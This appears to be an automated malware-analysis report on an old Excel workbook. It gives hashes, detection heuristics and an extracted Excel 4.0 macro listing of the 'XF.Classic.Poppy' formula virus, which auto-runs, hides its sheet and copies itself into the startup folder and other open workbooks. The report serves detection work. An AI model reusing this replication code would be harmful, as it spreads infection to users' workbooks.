Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4eb052a63f93b123…

MALICIOUS

Office (OLE)

91.0 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2014-05-20
MD5: d0a28c75defdf17ea709132d9b4db5f2 SHA-1: 13c73c5410ddd22d53aadba7c992021aea5f40b3 SHA-256: 4eb052a63f93b123d3c111b2abe70f68060b7ff876f45cc883f86e90c0b73079
200 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 13171 bytes
SHA-256: dc8627b78de75d8f3286054f716ce4260b5080c80bd428f13e40c03882e27064
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     24 LABEL : Cell Value, String Constant - \0 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x00\x00\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant - \z len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x007\x009\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - A len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00   \xff'
' 0018     29 LABEL : Cell Value, String Constant - AAA len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00\x00\xff\xff\r\x00\x19\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 12!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 12!C4 
' 0018     23 LABEL : Cell Value, String Constant - B len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00   \xff'
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 12!C31 
' 0018     30 LABEL : Cell Value, String Constant - COAT len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x00\x00\x00\x00\x0c\x00\x0c\x00'
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 12!C9 
' 0018     31 LABEL : Cell Value, String Constant - CS_10 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00*\x005\x00\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_100 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00%\x01-\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_10S len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x006\x00`\x00\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_120 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00.\x019\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_140 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00:\x01B\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_160 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00C\x01b\x01\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_20 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00a\x00o\x00\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_30 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00p\x00}\x00\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_40 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00~\x00\xa9\x00\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_40S len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xaa\x00\xcd\x00\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_5S len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x07\x00)\x00\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_60 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xce\x00\xd6\x00\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_80 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xd7\x00\x00\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_80S len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x01\x01$\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_STD len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00c\x01\x98\x01\x01\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - CS_XS len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x99\x01\xce\x01\x01\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - CS_XXS len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xcf\x01\xe9\x01\x01\x00\x02\x00'
' 0018     67 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xdcX\x80\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     28 LABEL : Cell Value, String Constant - FP len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00u\x00y\x00\n\x00\r\x00'
' 0018     25 LABEL : Cell Value, String Constant - Gia len=7 ptgRef3d 11!A26 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 12!A15 
' 0018     28 LABEL : Cell Value, String Constant - IO len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00:\x00>\x00\x17\x00\x19\x00'
' 0018     26 LABEL : Cell Value, String Constant - Key1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x02\x00\x04\x00'
' 0018     26 LABEL : Cell Value, String Constant - Key2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x02\x00\x03\x00'
' 0018     26 LABEL : Cell Value, String Constant - Key3 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x02\x00\x05\x00'
' 0018     23 LABEL : Cell Value, String Constant - l len=7 ptgRef3d 11!C27 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 12!A26 
' 0018     29 LABEL : Cell Value, String Constant - MAT len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00:\x00h\x00\n\x00\x10\x00'
' 0018     28 LABEL : Cell Value, String Constant - MF len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00j\x00p\x00\n\x00\x0e\x00'
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 12!C39 
' 0018     27 LABEL : Cell Value, String Constant - P len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x03\x00\x05\x00\x00\x00\x00\x00'
' 0018     30 LABEL : Cell Value, String Constant - PEJM len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x80\x00\xa1\x00\n\x00\x0c\x00'
' 0018     28 LABEL : Cell Value, String Constant - PF len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x01\x00\x01\x00\x01\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - PM len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x0f\x00m\x00!\x00/\x00'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 12!C27 
' 0018     39 LABEL : Cell Value, String Constant - Print_Area_MI len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x00\x003\x00\x00\x00\x14\x00'
' 0018     28 LABEL : Cell Value, String Constant - RT len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x003\x004\x00\x13\x00\x14\x00'
' 0018     28 LABEL : Cell Value, String Constant - SB len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x06\x00\r\x00!\x00%\x00'
' 0018     30 LABEL : Cell Value, String Constant - SORT len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x05\x00+\x00\x00\x00\xff\x00'
' 0018     35 LABEL : Cell Value, String Constant - SORT_AREA len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x07\x00\xe8\x01\x00\x00\x11\x00'
' 0018     28 LABEL : Cell Value, String Constant - SP len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x00\x00\x00\x00\x0e\x00\x0f\x00'
' 0018     29 LABEL : Cell Value, String Constant - THK len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\xa0\x00\xa2\x00\x0f\x00\x13\x00'
' 0018     29 LABEL : Cell Value, String Constant - ZYX len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x00\x00\xd3\x17\x00\x00\xff\x00'
' 0018     29 LABEL : Cell Value, String Constant - ZZZ len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x00\x003\x00\x00\x00\x14\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""